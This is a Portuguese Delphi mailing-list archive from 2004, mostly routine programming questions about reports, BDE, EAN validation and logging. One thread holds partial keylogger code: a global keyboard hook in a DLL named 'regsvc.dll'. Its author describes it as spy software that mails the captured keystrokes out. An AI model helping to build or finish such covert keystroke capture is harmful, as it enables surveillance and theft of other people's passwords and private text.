
  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]

  Links do Yahoo! Grupos











  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  



--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do
Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos




 




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] mandar um relatorio gerado no quickreport por e-mail

2004-09-29 Por tôpico Lenilson Medeiros
Vc pode enviar sem problemas , entretanto vc deve ter um prog do lado cliente para 
abrir esses arquivos .qrp. O ideal é vc gerar esse arquivo em PDF e enviar para seus 
clientes. Eu uso o delphi 7 e fiz uma classe para gerar os arquivos do Rave para PDF e 
funciona blz..
 
 
Lenilson

Reginaldo [EMAIL PROTECTED] wrote:
Bom dia pessoal, queria poder mandar um relatorio gerado no quickreport por e-mail 
pois 
meus clientes ja querem trabalhar assim, do mais agradeço a ajuda.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
   O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. 



-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Migração

2004-09-29 Por tôpico Eduardo Jedliczka
Bom... reescreve ele...

Emilene... apesar do delphi usar Object Pascal (que agora se chama Delphi mesmo) não 
há um modo fácil de migrar sistemas DOS em Pascal para windows... se eu entendi 
errado, por favor, explique melhor o que você deseja.

[s]

Só mais uma coisa, é possível desenvolver em Delphi, aplicativos windows 32 bits em 
modo console (como no DOS) porém com pleno acesso à memória, disco, rede, banco de 
dados, etc...


=
Eduardo Jedliczka
GeraSoft Informática
Apucarana - PR
=

  - Original Message - 
  From: Emi Monzani 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 1:34 PM
  Subject: [delphi-br] Migração


  Gente

  tenho um sistema em pascal e quero migrar pra delphi, como faço isso

  brg

  Emilene

  
  -
  Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] mandar um relatorio gerado no quickreport por e-mail

2004-09-29 Por tôpico Lenilson Medeiros
Vc pode enviar sem problemas , entretanto vc deve ter um prog do lado cliente para 
abrir esses arquivos .qrp. O ideal é vc gerar esse arquivo em PDF e enviar para seus 
clientes. Eu uso o delphi 7 e fiz uma classe para gerar os arquivos do Rave para PDF e 
funciona blz..
 
 
Lenilson

Reginaldo [EMAIL PROTECTED] wrote:
Bom dia pessoal, queria poder mandar um relatorio gerado no quickreport por e-mail 
pois 
meus clientes ja querem trabalhar assim, do mais agradeço a ajuda.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
   O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. 



-
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Log de Usuários

2004-09-29 Por tôpico Sávio Cler

Criei uma procedure e jogo ela pra dentro de cada botão, com alguns
parâmetros. Usei já direto no banco, mas precisava de mais controle sobre
isso, como valor anterior e valor atual, senha que alterou, etc.

  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656

  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: Marcelo Silva [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 1:23 PM
Subject: [delphi-br] Log de Usuários


Tenho uma função que guarda Todos os erros do programa em uma tabela.

Gostaria de saber como vocês fazer para guardar operações como INSERT,
DELET, UPDATE etc...
Tipo (Fulano alterou registro tal...)

Vocês criam atravez de SP no banco ou tem alguma função no delphi que
detecta quando alguma tabela está em uso ?

Ou fazem manualmente mesmo ?

Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]

[As partes desta mensagem que não continham texto foram removidas]



--
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



  Yahoo! Grupos, um serviço oferecido por:





Links do Yahoo! Grupos

  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/

  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]

  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço
do Yahoo!.




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !

2004-09-29 Por tôpico David Leão
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
 Av. Mendonça Furtado, 53 - Centro / Macapá-AP
 212-5318 - 212-5378
 212-5303
 [EMAIL PROTECTED] 
 www.sema.ap.gov.br 
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
 
Não dá para o Memo pegar do arquivo texto?
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: David Leão  [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
 
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro  da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
 
{Declaração das variáveis globais da unit}
 
Var
  FormSpy: TFormSpy;
  IdKeyLog: HHOOK;
  KeyLogDLL: LongWord;
  KeyLogHookProc: FARPROC;
 
{Evento OnCreate do Form}
 
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
 
 
{Função dentro da dll}
 
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
  b1, b2: Boolean;
  ArqLog: TextFile;
Begin
  If (code  HC_NOREMOVE) And (lParam  0) Then
  Begin
AssignFile(ArqLog, arq);
Try
  If fileexists(arq) Then
Append(ArqLog)
  Else
ReWrite(ArqLog);
 
  If wParamOld = 219 Then
  Begin
If (wShift) Then
Begin
  Case wParam Of
65: Begin
Write(ArqLog, 'à');  // Escreve num TXT   Deveria escrever
num memo dentro da minha aplicação
wParam := 0;
wParamOld := 0;
  End;
69: Begin
Write(ArqLog, 'è');
wParam := 0;
wParamOld := 0;
  End;
  Else wParamOld := 0;
  End;
End;
Exports
  KeyboardHookProc;
Begin
End.
 
=
Bom o que eu quero realmente é fazer essa rotina escrever num memo que se
encontra dentro da minha aplicação ao invés de escrever num arquivo de texto
 
Agradeço se vc puder me ajudar.
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 10:54:54
Para: [EMAIL PROTECTED]
Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL
 
Como criar e usar DLLs
 
Esta é uma outra dúvida bastante freqüente que chega a nós. Como posso usar
uma DLL ?, Como posso criar uma DLL ?, Ei, moço! Pra quê serve uma DLL ?
 
 
Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções
desenvolvidas em uma linguagem possam ser utilizadas em programas
desenvolvidos em outras linguagens.
 
Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e
utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo.
Agora, vamos começar criando uma DLL:
 
Selecione o item New do Menu File, para exibir a caixa de diálogo New Items.
Agora, selecione o item DLL e clique em OK, para gerar o código principal da
DLL, que se apresenta a seguir:
 
library Project1;
 
{ Important note about DLL memory management: ShareMem must be the first
unit in your library's USES clause AND your project's (select Project-View
Source) USES clause if your DLL exports any procedures or functions that
pass strings as parameters or function results. This applies to all strings
passed to and from your DLL--even those that are nested in records and
classes. ShareMem is the interface unit to the BORLNDMM.DLL 

[delphi-br] Dica de site de Delphi

2004-09-29 Por tôpico Rubem Rocha
http://www.delphidabbler.com

Artigos, componentes, rotinas, etc. Site de visual agradável e com conteúdo muito bom 
sobre Delphi


[]s
Rubem Nascimento da Rocha
Programador Pleno
Fundação Desembargador Paulo Feitosa
http://www.fpf.br - [EMAIL PROTECTED]
+55-92-614-9797, ramal 9875


-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Validar EAN...

2004-09-29 Por tôpico Svio Cler
Outro dia estavam querendo:

function Valida_EAN(VEAN: String): Boolean; //Dica número 1595 de www.deephi.rg3.net. 
Funciona com EAN8 e EAN13
var
  Temp1, Temp2: Integer;
  Temp3: String;
begin
  Temp2:=0;
  Temp3:='';

  for Temp1:=Length(VEAN)-1 downto 1 do //Inverte, retirando o dígito
Temp3:=Temp3+VEAN[Temp1];

  for Temp1:=1 to Length(Temp3) do   //Multiplica as posições impares por 3, 
fazendo o somatório
if Temp1 mod 2 = 0 then
  Temp2:=Temp2+StrToInt(Temp3[Temp1])
else
  Temp2:=Temp2+StrToInt(Temp3[Temp1])*3;

  Temp2:=10-Round(Frac(Temp2/10)*10);//10 menos o resto da divisão

  Result:=Temp2=StrToInt(Copy(VEAN,Length(VEAN),1));
end;

procedure TForm1.Edit1Exit(Sender: TObject);
begin
  if not Valida_EAN(Edit1.Text) then Application.MessageBox(PChar('EAN 
inválido!'),'Sigma...',64);
end;




  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656

  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Bornldmm.dll

2004-09-29 Por tôpico Laira Gasparello
Ola...

Estou com o seguinte problema.. 

Ao executar a linha :

  FErrorMsg := TFErrorMsg.Create(nil); file://laira 09/12/2003 (um formulário que 
mostra mensagens do tipo TFErrorMsg)

ocorre o erro abaixo:




Não existe uma lógica ao acontecer.. indifere o número de notas que são impressas e 
também o tipo de nota..

Alguém já passou por este problema? 

Meu Delphi é o 6

Laira 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Problemas com BDE

2004-09-29 Por tôpico Max Moraes
Amigos

Tenho um sistema instalado numa máquina e uso o BDE para conectar num banco
Oracle. Esse BDE foi instalado usando-se o cd de instalação do Delphi, não
temos um instalador próprio. Até ai tudo bem, mas esse cliente passou a usar
um sistema de outra empresa que tambem usa o BDE e devido a alguma
necessidade deles, os mesmos pediram para o pessoal da empresa mover os
arquivos do BDE da pasta Arquivos de Programa para uma pasta C:\BDE, dai meu
sistema parou de funcionar, diz que não consegui iniciar ou encontrar os
drivres do Oracle, se não me engano. Voltando a pasta para o local original
não resolveu o problema. Não sei se fui claro na minha explanação do
problema. Eu já tentei mexer no Autoexec.bat e agora estou estudando as
configurações do BDE no registro do windows. Alguem já passou por esse
problema? Alguem pode me ajudar? Obrigado por qualquer ajuda.

Max




-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] print dbgrid??

2004-09-29 Por tôpico datorre - ig

Tenhu o PrintGrid , se quiser entre em contato.

 

msn: [EMAIL PROTECTED]

 

 



Fernando Datorre

Gerente de STI -  mailto:[EMAIL PROTECTED] [EMAIL PROTECTED]

 

  _  

De: sr_doidera . [mailto:[EMAIL PROTECTED] 
Enviada em: Wednesday, 29 September 2004 10:43 AM
Para: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]
Assunto: [delphi-br] print dbgrid??

 

alquem ai tem um componente ou funcao pra imprimir um dbgrid que nao seja o 
componente printdbgrid v10 que tem na net???
quem tiver um site, compoente ou funcao me enviem que eu serei muito grato!

t+

_
MSN Messenger: converse com os seus amigos online.  
http://messenger.msn.com.br



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]







Yahoo! Grupos, um serviço oferecido por:


  http://pms.mercadolibre.com/cgi/pms/ban?site=292076id=31836 

 

  _  

Links do Yahoo! Grupos

*   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
*   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
mailto:[EMAIL PROTECTED] 
  
*   O uso que você faz do Yahoo! Grupos está sujeito aos Termos
http://br.yahoo.com/info/utos.html  do Serviço do Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Res: Re: [delphi-br] DLL escrevendo em um TMemo to QUASE!

2004-09-29 Por tôpico David Leão
Sávio..
Essa rotina captura as teclas digitadas, eh uma rotina de um programa espião
que estou desenvolvendo.
Só que a rotina grava as teclas num txt, então fica difícil de eu
implementar uma solução de só serem gravadas as teclas corretas, ou seja se
uma pessoa digitar um texto, errar e depois corrigir com o BackSpace por
exemplo, eu não consigo deletar do TXT os caracteres que a pessoa deletou
quando digitava.. entendeu.. 
já com o memo eu consigo fazer isso, pois tenho uma rotina mas ele está
usando uma função no proprio programa e eu quero um hook global para gravar
as teclas digitadas em qualquer programa e não um hook local que grava
apenas as teclas digitadas no meu programa..
então se eu conseguir capturar a tecla dentro da função na DLL e fazer essa
função escrever no memo que se encontra dentro da minha aplicação ao invés
de escrever num txt jah me ajuda bastante, pois eu envio o txt por email e
antes de enviar o email eu compacto o arquivo e para fazer isso eu tenho q
parar de gravar por alguns instantes a captura de teclas para poder
compactar e enviar o arquivo.. com isso estou perdendo alguns caracteres que
estão sendo digitados no momento da compactação e envio do txt.
se eu conseguisse escrever no memo facilitaria, pois eu não precisaria parar
de gravar as teclas. apenas escreveria o conteudo do memo em um txt.
será que vc ou alguem pode me ajudar a resolver esse problema
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
 Av. Mendonça Furtado, 53 - Centro / Macapá-AP
 212-5318 - 212-5378
 212-5303
 [EMAIL PROTECTED] 
 www.sema.ap.gov.br 
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 15:09:36
Para: [EMAIL PROTECTED]
Assunto: Re: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
Ai pergunto, já não este em um arquivo texto?
 
Write(ArqLog, 'à');  // Escreve num TXT   Deveria escrever
num memo dentro da minha aplicação
 
Desculpa ai, hehe, é que faço isso em um txt. Tentando ajudar.
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: David Leão  [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 2:27 PM
Subject: Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
 
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
 
Não dá para o Memo pegar do arquivo texto?
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: David Leão  [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
 
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro  da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
 
{Declaração das variáveis globais da unit}
 
Var
  FormSpy: TFormSpy;
  IdKeyLog: HHOOK;
  KeyLogDLL: LongWord;
  KeyLogHookProc: FARPROC;
 
{Evento OnCreate do Form}
 
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
 
 
{Função dentro da dll}
 
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
  b1, b2: Boolean;
  

Res: Re: [delphi-br] DLL escrevendo em um TMemo to QUASE!

2004-09-29 Por tôpico David Leão
Sávio..
Essa rotina captura as teclas digitadas, eh uma rotina de um programa espião
que estou desenvolvendo.
Só que a rotina grava as teclas num txt, então fica difícil de eu
implementar uma solução de só serem gravadas as teclas corretas, ou seja se
uma pessoa digitar um texto, errar e depois corrigir com o BackSpace por
exemplo, eu não consigo deletar do TXT os caracteres que a pessoa deletou
quando digitava.. entendeu.. 
já com o memo eu consigo fazer isso, pois tenho uma rotina mas ele está
usando uma função no proprio programa e eu quero um hook global para gravar
as teclas digitadas em qualquer programa e não um hook local que grava
apenas as teclas digitadas no meu programa..
então se eu conseguir capturar a tecla dentro da função na DLL e fazer essa
função escrever no memo que se encontra dentro da minha aplicação ao invés
de escrever num txt jah me ajuda bastante, pois eu envio o txt por email e
antes de enviar o email eu compacto o arquivo e para fazer isso eu tenho q
parar de gravar por alguns instantes a captura de teclas para poder
compactar e enviar o arquivo.. com isso estou perdendo alguns caracteres que
estão sendo digitados no momento da compactação e envio do txt.
se eu conseguisse escrever no memo facilitaria, pois eu não precisaria parar
de gravar as teclas. apenas escreveria o conteudo do memo em um txt.
será que vc ou alguem pode me ajudar a resolver esse problema
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
 Av. Mendonça Furtado, 53 - Centro / Macapá-AP
 212-5318 - 212-5378
 212-5303
 [EMAIL PROTECTED] 
 www.sema.ap.gov.br 
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 15:09:36
Para: [EMAIL PROTECTED]
Assunto: Re: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
Ai pergunto, já não este em um arquivo texto?
 
Write(ArqLog, 'à');  // Escreve num TXT   Deveria escrever
num memo dentro da minha aplicação
 
Desculpa ai, hehe, é que faço isso em um txt. Tentando ajudar.
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
